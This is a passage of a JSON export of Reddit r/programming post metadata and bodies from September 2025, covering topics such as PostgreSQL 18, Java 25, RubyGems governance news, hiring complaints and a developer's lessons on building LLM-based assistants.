    "url": "https://vincentrolfs.dev/blog/ts-var",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nu7kh2",
  "url": "https://www.youtube.com/watch?v=EazcrarrS2o",
  "permalink": "https://www.reddit.com/r/programming/comments/1nu7kh2/ray_and_orientedbox_intersection_detection/",
  "title": "Ray and Oriented-Box Intersection Detection Tutorial",
  "body": null,
  "author": "PeterBrobby",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-09-30T08:19:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=EazcrarrS2o",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nu3y89",
  "url": "https://mypraxos.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1nu3y89/lessons_learned_from_building_ai_agents_in_the/",
  "title": "Lessons learned from building AI agents in the consumer space",
  "body": "I've spent the past three months building an AI companion / assistant, and a whole bunch of thoughts have been simmering in the back of my mind.\n\nA major part of wanting to share this is that each time I open Reddit and X, my feed is a deluge of posts about someone spinning up an app on Lovable and getting to 10,000 users overnight with no mention of any of the execution or implementation challenges that siege my team every day. My default is to both (1) treat it with skepticism, since exaggerating AI capabilities online is the zeitgeist, and (2) treat it with a hint of dread because, maybe, something got overlooked and the mad men are right. The two thoughts can coexist in my mind, even if (2) is unlikely.\n\nFor context, I am an applied mathematician-turned-engineer and have been developing software, both for personal and commercial use, for close to 15 years now. Even then, building this stuff is hard.\n\nI think that what we have developed is quite good, and we have come up with a few cool solutions and work arounds I feel other people might find useful. If you're in the process of building something new, I hope that helps you.\n\n**1-Atomization. Short, precise prompts with specific LLM calls yield the least mistakes.**\n\nSprawling, all-in-one prompts are fine for development and quick iteration but are a sure way of getting substandard (read, fictitious) outputs in production. We have had much more success weaving together *small, deterministic steps*, with the LLM confined to tasks that require language parsing.\n\nFor example, here is a pipeline for billing emails:\n\n\\*Step 1 \\[LLM\\]: parse billing / utility emails with a parser. Extract vendor name, price, and dates.\n\n\\*Step 2 \\[software\\]: determine whether this looks like a subscription vs one-off purchase.\n\n\\*Step 3 \\[software\\]: validate against the user’s stored payment history.\n\n\\*Step 4 \\[software\\]: fetch tone metadata from user's email history, as stored in a memory graph database.\n\n\\*Step 5 \\[LLM\\]: ingest user tone examples and payment history as context. Draft cancellation email in user's tone.\n\nThere's plenty of talk on X about context engineering. To me, the more important concept behind why atomizing calls matters revolves about the fact that LLMs operate in probabilistic space. Each extra degree of freedom (lengthy prompt, multiple instructions, ambiguous wording) expands the size of the choice space, increasing the risk of drift.\n\nThe art hinges on compressing the probability space down to something small enough such that the model can’t wander off. Or, if it does, deviations are well defined and can be architected around.\n\n**2-Hallucinations are the new normal. Trick the model into hallucinating the right way.**\n\nEven with atomization, you'll still face made-up outputs. Of these, lies such as \"job executed successfully\" will be the thorniest silent killers. Taking these as a given allows you to engineer traps around them.\n\nExample: fake tool calls are an effective way of logging model failures.\n\nGoing back to our use case, an LLM shouldn't be able to send an email whenever any of the following two circumstances occurs: (1) an email integration is not set up; (2) the user has added the integration but not given permission for autonomous use. The LLM will sometimes still say the task is done, even though it lacks any tool to do it.\n\nHere, trying to catch that the LLM didn't use the tool and warning the user is annoying to implement. But handling dynamic tool creation is easier. So, a clever solution is to inject a mock SendEmail tool into the prompt. When the model calls it, we intercept, capture the attempt, and warn the user. It also allows us to give helpful directives to the user about their integrations.\n\nOn that note, language-based tasks that involve a degree of embodied experience, such as the passage of time, are fertile ground for errors. Beware.\n\nSome of the most annoying things I’ve ever experienced building praxos were related to time or space:\n\n\\--Double booking calendar slots. The LLM may be perfectly capable of parroting the definition of \"booked\" as a concept, but will forget about the physicality of being booked, i.e.: that a person cannot hold two appointments at a same time because it is not physically possible.\n\n\\--Making up dates and forgetting information updates across email chains when drafting new emails. Let t1 < t2 < t3 be three different points in time, in chronological order. Then suppose that X is information received at t1. An event that affected X at t2 may not be accounted for when preparing an email at t3.\n\nThe way we solved this relates to my third point.\n\n**3-Do the mud work.**\n\nLLMs are already unreliable. If you can build good code around them, do it. Use Claude if you need to, but it is better to have transparent and testable code for tools, integrations, and everything that you can.\n\nExamples:\n\n\\--LLMs are bad at understanding time; did you catch the model trying to double book? No matter. Build code that performs the check, return a helpful error code to the LLM, and make it retry.\n\n\\--MCPs are not reliable. Or at least I couldn't get them working the way I wanted. So what? Write the tools directly, add the methods you need, and add your own error messages. This will take longer, but you can organize it and control every part of the process. Claude Code / Gemini CLI can help you build the clients YOU need if used with careful instruction.\n\nBonus point: for both workarounds above, you can add type signatures to every tool call and constrain the search space for tools / prompt user for info when you don't have what you need.\n\n \n\n**Addendum: now is a good time to experiment with new interfaces.**\n\nConversational software opens a new horizon of interactions. The interface and user experience are half the product. Think hard about where AI sits, what it does, and where your users live.\n\nIn our field, Siri and Google Assistant were a decade early but directionally correct. Voice and conversational software are beautiful, more intuitive ways of interacting with technology. However, the capabilities were not there until the past two years or so.\n\nWhen we started working on praxos we devoted ample time to thinking about what would feel natural. For us, being available to users via text and voice, through iMessage, WhatsApp and Telegram felt like a superior experience. After all, when you talk to other people, you do it through a messaging platform.\n\nI want to emphasize this again: think about the delivery method. If you bolt it on later, you will end up rebuilding the product. Avoid that mistake.\n\n \n\nI hope this helps those of you who are actively building new things. Good luck!!",
  "author": "AdmiralUrbi",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 6,
  "createdAt": "2025-09-30T04:35:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mypraxos.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ntmq69",
  "url": "https://www.dorokhovich.com/blog/release-orchestration?utm=reddit",
  "permalink": "https://www.reddit.com/r/programming/comments/1ntmq69/release_orchestration_a_practical_guide_for_2025/",
  "title": "Release Orchestration: A Practical Guide for 2025",
  "body": "Hello everyone,\n\nI've been working on a brief series of articles about orchestration techniques for releases. I figured I'd post it here in case it helps anyone.\n\nThe goal of the series is to provide a useful summary of various methods and strategies for planning releases in contemporary development settings.\n\nIf you have any thoughts or experiences with release orchestration, please share them with us!",
  "author": "LevelRelationship732",
  "subreddit": "programming",
  "score": 62,
  "upvoteRatio": 0.67,
  "numComments": 10,
  "createdAt": "2025-09-29T16:30:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.dorokhovich.com/blog/release-orchestration?utm=reddit",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nthono",
  "url": "https://programmers.fyi/python-an-experienced-developers-grudging-guide",
  "permalink": "https://www.reddit.com/r/programming/comments/1nthono/python_an_experienced_developers_grudging_guide/",
  "title": "Python: An Experienced Developer’s Grudging Guide To A Necessary Evil in the Age of AI",
  "body": null,
  "author": "derjanni",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 12,
  "createdAt": "2025-09-29T13:13:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://programmers.fyi/python-an-experienced-developers-grudging-guide",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ntgwni",
  "url": "https://alexandrehtrb.github.io/posts/2025/09/excel-as-a-frontend/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ntgwni/excel_as_a_frontend/",
  "title": "Excel as a frontend",
  "body": null,
  "author": "macrohard_certified",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 21,
  "createdAt": "2025-09-29T12:39:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexandrehtrb.github.io/posts/2025/09/excel-as-a-frontend/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nsymn6",
  "url": "https://johnjames.blog/posts/cleaning-house-in-nx-monorepo-how-i-removed-120-unused-deps-safely",
  "permalink": "https://www.reddit.com/r/programming/comments/1nsymn6/just_nuked_120_unused_npm_deps_from_a_huge_nx/",
  "title": "just nuked 120+ unused npm deps from a huge Nx monorepo",
  "body": "just nuked 120+ unused npm deps from a huge Nx monorepo using Knip. shaved a whole minute off yarn install.\n\nwrote up the whole process, including how to avoid false positives. if you got npm bloat, this is for you",
  "author": "Beautiful_Spot5404",
  "subreddit": "programming",
  "score": 277,
  "upvoteRatio": 0.87,
  "numComments": 82,
  "createdAt": "2025-09-28T20:23:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://johnjames.blog/posts/cleaning-house-in-nx-monorepo-how-i-removed-120-unused-deps-safely",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nsfsb5",
  "url": "https://youtu.be/ZLJf6lPfol4",
  "permalink": "https://www.reddit.com/r/programming/comments/1nsfsb5/a_quick_review_of_haskell/",
  "title": "A Quick Review of Haskell",
  "body": "The meme status of Haskell is well established, but is it a good gateway to learn more about functional programming? This video looks at my experience getting the platform up and running and my opinions on who is best suited to learn more about this language. ",
  "author": "stumblingtowards",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.6,
  "numComments": 35,
  "createdAt": "2025-09-28T05:00:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/ZLJf6lPfol4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nrz2a0",
  "url": "https://medium.com/techtrends-digest/design-twice-and-trust-in-what-you-do-e03bb666105f",
  "permalink": "https://www.reddit.com/r/programming/comments/1nrz2a0/design_twice_and_trust_in_what_you_do/",
  "title": "Design Twice and Trust in What You Do",
  "body": null,
  "author": "DONG2015",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 0,
  "createdAt": "2025-09-27T16:09:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/techtrends-digest/design-twice-and-trust-in-what-you-do-e03bb666105f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nrd0os",
  "url": "https://drive.google.com/file/d/1pL5zdu_AGWxueRJcOzs7_zaLHlDnmTrt/view?usp=sharing",
  "permalink": "https://www.reddit.com/r/programming/comments/1nrd0os/from_full_stack_to_full_team_stack/",
  "title": "From Full stack to Full Team stack",
  "body": "Hello fellow gladiators,\n\nI conducted deep research  for a comparative analysis of the software engineering environment from 2000 to 2025 and the report is in the Google Drive. But I want to discuss the current software engineering environment.\n\nI've been absent from the software engineering scene for 4 years now, and I returned, and the amount of my shock at how it has become so notoriously difficult is like a gladiator's arena.\n\nA software engineer not only needs to be full-stack, but \\*\\*full-team stack (\\*\\*I hope this term not be used in hiring);\n\n1. front-end with at least two or three frameworks \"mastery\" (React, Angular, Vue.js...) for JavaScript, and frameworks for CSS too with UI/UX knowledge and experience\n2. With backend three or four mastery (C/C++, Python, Java, C#, NodeJS, now Rust ...) with each one of the languages needing mastery of one or two frameworks that each have.\n3. Need to have Cloud mastery too (AWS, Azure, Google Cloud...),\n4. DevOps Docker, Kubernetes, CI/CD are the most basic tools, even to be called a software engineer at the entry-level.\n5. databases at least one or two SQL and two NoSQL: (SQL server, MySQL ,PL/SQL, MongoDB, Redis, Cassandra...)\n6. Quality and test assurance\n7. MLOps also with all that  ML/AI/DL \"fundamental knowledge\" (TensorFlow, Keras,nlp...)\n8. Maybe Networking knowledge with Cisco professional certificate aimed for at least mid-seniority\n\nHere is an example, this is for an entry-level\n\n>**A Bachelor’s Degree**Successful engineer in this role have majored in computer science and related fieldsGPA above 3.7  \n**A** **Few Related Skills and Experiences**(This is an entry-level role, and experience in every one of these areas is not required - training is provided on all core platforms, tools, and technologies you will need to know! But the following skills/experience are awesome to have, and will help get your career off to a running start:):  \nPart-time/Full-time/summer job/internship experience is a must  \nExperience with open-source web development  \nExperience with web-based programming languages (JavaScript, HTML, etc.)  \nProject-level experience with at least one JavaScript-based project  \nExperience with Cloud Computing Programs, Google Cloud Platform, AWS, Azure, etc.  \nExperience with OOP and procedural programming methodologies  \nUnderstanding of software development life-cycles and best practices  \nKnowledge of standard-compliant HTML, CSS, and Javascript  \nDatabase experience (MySQL, Google BigQuery)  \nExperience with CCS Frameworks (Bootstrap, Foundation, Intuit, etc.)  \nExperience with JS Frameworks (JQuery, React, Vue, Backbone, etc.)  \nExperience with Git Version control (or other version control software)  \nExperience with package management and Task Runners (NPM, Yarn, Gulp, Grunt)  \nExperience with browser testing using built-in developer tools  \nFamiliarity with TensorFlow and Machine Learning  \nExperience with NodeJS  \nExperience with SaaS monitoring software such as DataDog  \nExperience with data management using data pipeline tools  \nPrevious agency experience  \n**Any of these Signature of our Traits!**  \nYou’re passionate about web/software development -  \n***\"you even find yourself spending your free time tinkering and learning new technologies!\"(Should the canditat breath too? Or inhale and exhale assembly code?)***  \nYou’re comfortable with both object-oriented and procedural programming methodologies  \nYou’re committed to delivering high-quality projects for clients  \nYou enjoy variety, and like the challenge of working on multiple projects  \nYou’re comfortable working both independently and as part of a team  \nYou take direction well, but aren’t afraid to take initiative and make decisions  \nYou see yourself as a problem-solver, and face challenges with a can-do mindset  \nYou put the customer and their goals first  \nYou have an interest in the web and stay up-to-date on new and developing technologies  \nYou are a professional, dependable, and independent worker with a solid work ethic  \nYou’re self-motivated, thrive on challenges, and enjoy getting things done  \nYou have an eye for detail and dedication to high-quality work  \nYou have an exceptional level of follow-through  \nYou possess excellent time/project management skills  \nYou work with a sense of urgency and can consistently meet deadlines  \nYou are an outstanding communicator and possess strong interpersonal skills  \nYou are a lifelong learner who loves to grow and stretch outside of your comfort zone, and are always looking to improve your skills ***(After all those skills that the candidat have I am sure he will not need any advancement as entry level, after this the candidat will be senior directly)***\n\nSo a software engineer needs to be full-stack + Designer UI/UX+ Cloud architect + DevOps + Databases administrator + MLOPS + maybe network engineer + Quality assurance engineer + cyberOps as a plus. All of those have previously had a dedicated engineer to work full-time on in a team, except the new MLOps, now the companies want all in one person and say, \"you can and you will use AI, and when the task fails with severe security unseen bug or general architecture breakdown, the human is to blame!\"\n\nNo wonder there is senior burnout, and if we keep cutting entry-level jobs, there will be no more quality future engineers and the software industry will suffer, bringing with it all other industries due to a lack of software engineers.\n\nIt's like wanting a doctor who is brain, heart, bones... surgeon, also every organ in the body doctor, also at the same time a pharmacist, biologist... because all have the same common root.\n\nWhat is this madness? Companies greed? And worst of all, probably students who still in universities will change their majors because of the amount of skills needed with open source experience and the hostility in the work environment if they get a job, and current graduates will regret the effort and the hard work they made to have a degree in computer science in the first place, and just work in another domain.\n\nThis will cut the new graduates and newcomers to software engineering, and the catastrophe will happen, degrade software quality for all of us and software is used almost in all industries from agriculture to cars and airplanes to medical machines, and we will not have the quality or number of engineers who will maintain our industries and ecosystem because there is not enough new ones to land a job in first place and have an experience and most worst of all the passion for programming will vanish from all the rest of us!\n\n**Also, maybe in 2-5 years, if all continues like this, we will say software engineering has peaked by 2025, then went downhill fast.**",
  "author": "maher1717",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 0,
  "createdAt": "2025-09-26T21:06:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://drive.google.com/file/d/1pL5zdu_AGWxueRJcOzs7_zaLHlDnmTrt/view?usp=sharing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nrbh25",
  "url": "https://joel.drapper.me/p/rubygems-takeover/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nrbh25/ruby_central_executes_hostile_takeover_of_the/",
  "title": "Ruby Central executes hostile takeover of the RubyGems github organisation and code repositories",
  "body": null,
  "author": "ivosaurus",
  "subreddit": "programming",
  "score": 294,
  "upvoteRatio": 0.95,
  "numComments": 110,
  "createdAt": "2025-09-26T20:04:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://joel.drapper.me/p/rubygems-takeover/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nra46w",
  "url": "https://medium.com/@caprazli/dial-a-precision-prime-search-with-100-percent-recall-4c9ad30bd3c9",
  "permalink": "https://www.reddit.com/r/programming/comments/1nra46w/dialaprecision_prime_search_with_100_recall/",
  "title": "Dial-a-Precision Prime Search with 100% Recall",
  "body": ">\n\n# Abstract\n\nThis is a **recall-perfect** pipeline for prime number searches that lets you **dial the precision** with two knobs: a scale-aware **wheel sieve** bound `B(n)` and the number of **Miller–Rabin** bases `k`. Step 1 is a high-recall prefilter (the “**Purple Stripe**”: numbers `n` where `n mod 6` is 1 or 5). Step 2 adds **anti-helices** (a wheel built from small primes) whose filtering strength grows with the number `n` being tested. Step 3 runs a short chain of **one-sided** tests (they never reject a true prime), ending with a few MR bases. The result: **recall is 100%** by design, and **precision** jumps to **97–99%** with just 2–3 MR bases and can be pushed arbitrarily close to 100%.\n\n# 1. The Core Idea\n\n* Beyond 3, every prime number is of the form **6k +/- 1**. We call this the **purple stripe**.\n* Composites on this stripe appear when a number is a multiple of a small prime (like 5, 7, 11, etc.).\n* The density of prime numbers decreases as numbers get larger (it’s about **1 / ln(n)**). To maintain high **precision**, the wheel’s filtering strength must increase with `n` by excluding multiples of more small primes.\n\nThis isn’t new number theory; it’s a clean engineering approach that combines wheel sieves with the Prime Number Theorem to give you precise control over the trade-off between precision and computational cost.\n\nFor more go to the above link to medium.",
  "author": "caprazli",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2025-09-26T19:11:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@caprazli/dial-a-precision-prime-search-with-100-percent-recall-4c9ad30bd3c9",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nra28r",
  "url": "https://youtu.be/3dkN-6TJNHs?si=z9APqOY5Mk0RDwhG",
  "permalink": "https://www.reddit.com/r/programming/comments/1nra28r/the_most_efficient_way_to_do_nothing_rpcs3/",
  "title": "The most efficient way to do nothing [RPCS3]",
  "body": null,
  "author": "Whatcookie_",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 1,
  "createdAt": "2025-09-26T19:09:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/3dkN-6TJNHs?si=z9APqOY5Mk0RDwhG",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nqz51x",
  "url": "https://blog.dochia.dev/blog/json-isnt-json/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nqz51x/json_is_not_json_across_languages/",
  "title": "JSON is not JSON Across Languages",
  "body": null,
  "author": "ludovicianul",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 27,
  "createdAt": "2025-09-26T11:45:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dochia.dev/blog/json-isnt-json/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nqxo66",
  "url": "https://arxiv.org/html/2509.07025v1",
  "permalink": "https://www.reddit.com/r/programming/comments/1nqxo66/1_bit_is_all_we_need_binary_normalized_neural/",
  "title": "1 Bit is all we need: Binary Normalized Neural Networks",
  "body": null,
  "author": "GarethX",
  "subreddit": "programming",
  "score": 276,
  "upvoteRatio": 0.91,
  "numComments": 71,
  "createdAt": "2025-09-26T10:22:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/html/2509.07025v1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nqupsm",
  "url": "https://javatechonline.com/java-25-new-features-with-examples/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nqupsm/java_25_new_features_with_examples/",
  "title": "Java 25 New Features With Examples",
  "body": "Java 25 was officially released on **September 16, 2025**. It is a Long-Term Support (LTS) release that includes numerous enhancements across core Java libraries, language specifications, security, and performance. Oracle plans to provide support for Java 25 for at least eight years, allowing organizations to migrate at their own pace while benefiting from the latest features, including improved AI capabilities and enhanced developer productivity. Here are the explanations of [Java 25 New Features with Examples](https://javatechonline.com/java-25-new-features-with-examples/). ",
  "author": "erdsingh24",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.55,
  "numComments": 19,
  "createdAt": "2025-09-26T07:10:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://javatechonline.com/java-25-new-features-with-examples/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nqjrdb",
  "url": "https://www.youtube.com/watch?v=7z9NNrRDHQU",
  "permalink": "https://www.reddit.com/r/programming/comments/1nqjrdb/reflection_cs_decadedefining_rocket_engine_herb/",
  "title": "Reflection: C++’s Decade-Defining Rocket Engine - Herb Sutter - CppCon 2025",
  "body": null,
  "author": "EventSevere2034",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 5,
  "createdAt": "2025-09-25T21:52:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=7z9NNrRDHQU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nqetod",
  "url": "https://kobzol.github.io/rust/2025/09/22/reducing-binary-size-of-rust-programs-with-debuginfo.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1nqetod/reducing_binary_size_of_rust_programs_with/",
  "title": "Reducing binary size of (Rust) programs with debuginfo",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-09-25T18:38:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kobzol.github.io/rust/2025/09/22/reducing-binary-size-of-rust-programs-with-debuginfo.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nq6g8p",
  "url": "https://www.postgresql.org/about/news/postgresql-18-released-3142/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nq6g8p/postgresql_18_released/",
  "title": "PostgreSQL 18 Released!",
  "body": null,
  "author": "jskatz05",
  "subreddit": "programming",
  "score": 850,
  "upvoteRatio": 0.98,
  "numComments": 59,
  "createdAt": "2025-09-25T13:14:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.postgresql.org/about/news/postgresql-18-released-3142/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nq3ovh",
  "url": "https://leaddev.com/hiring/breaking-down-trumps-massive-h-1b-visa-changes",
  "permalink": "https://www.reddit.com/r/programming/comments/1nq3ovh/breaking_down_trumps_massive_h1b_visa_changes/",
  "title": "Breaking down Trump’s massive H-1B visa changes",
  "body": "Trump’s proposed H-1B changes would raise visa costs to nearly **$100,000**. That’s not a typo.\n\nThis could completely change how tech companies hire, shifting demand toward domestic talent and pushing others to go remote or offshore.\n\nWill actually pay that cost, or pivot their hiring strategy?",
  "author": "HDev-",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 43,
  "createdAt": "2025-09-25T11:00:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leaddev.com/hiring/breaking-down-trumps-massive-h-1b-visa-changes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1npqa89",
  "url": "https://dgerrells.com/blog/how-fast-is-go-simulating-millions-of-particles-on-a-smart-tv",
  "permalink": "https://www.reddit.com/r/programming/comments/1npqa89/how_fast_is_go_simulating_particles_on_a_smart_tv/",
  "title": "How fast is Go? simulating particles on a smart TV",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.55,
  "numComments": 0,
  "createdAt": "2025-09-24T22:37:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dgerrells.com/blog/how-fast-is-go-simulating-millions-of-particles-on-a-smart-tv",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nph2jh",
  "url": "https://dizzy.zone/2025/09/24/Redis-is-fast-Ill-cache-in-Postgres/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nph2jh/redis_is_fast_ill_cache_in_postgres/",
  "title": "Redis is fast - I'll cache in Postgres",
  "body": null,
  "author": "DizzyVik",
  "subreddit": "programming",
  "score": 484,
  "upvoteRatio": 0.92,
  "numComments": 204,
  "createdAt": "2025-09-24T16:38:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dizzy.zone/2025/09/24/Redis-is-fast-Ill-cache-in-Postgres/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1npgllt",
  "url": "https://spectrum.ieee.org/top-programming-languages-2025",
  "permalink": "https://www.reddit.com/r/programming/comments/1npgllt/top_programming_languages_2025_ieeeorg/",
  "title": "Top Programming Languages 2025 (ieee.org)",
  "body": null,
  "author": "JadeLuxe",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 6,
  "createdAt": "2025-09-24T16:20:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spectrum.ieee.org/top-programming-languages-2025",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1npfy6n",
  "url": "https://maoni0.medium.com/preparing-for-the-net-10-gc-88718b261ef2",
  "permalink": "https://www.reddit.com/r/programming/comments/1npfy6n/preparing_for_the_net_10_gc/",
  "title": "Preparing for the .NET 10 GC",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-09-24T15:56:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://maoni0.medium.com/preparing-for-the-net-10-gc-88718b261ef2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1np724v",
  "url": "https://aibodh.com/posts/bevy-rust-game-development-chapter-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1np724v/the_impatient_programmers_guide_to_bevy_and_rust/",
  "title": "The Impatient Programmer’s Guide to Bevy and Rust: Chapter 1 - Let There Be a Player",
  "body": null,
  "author": "febinjohnjames",
  "subreddit": "programming",
  "score": 0,
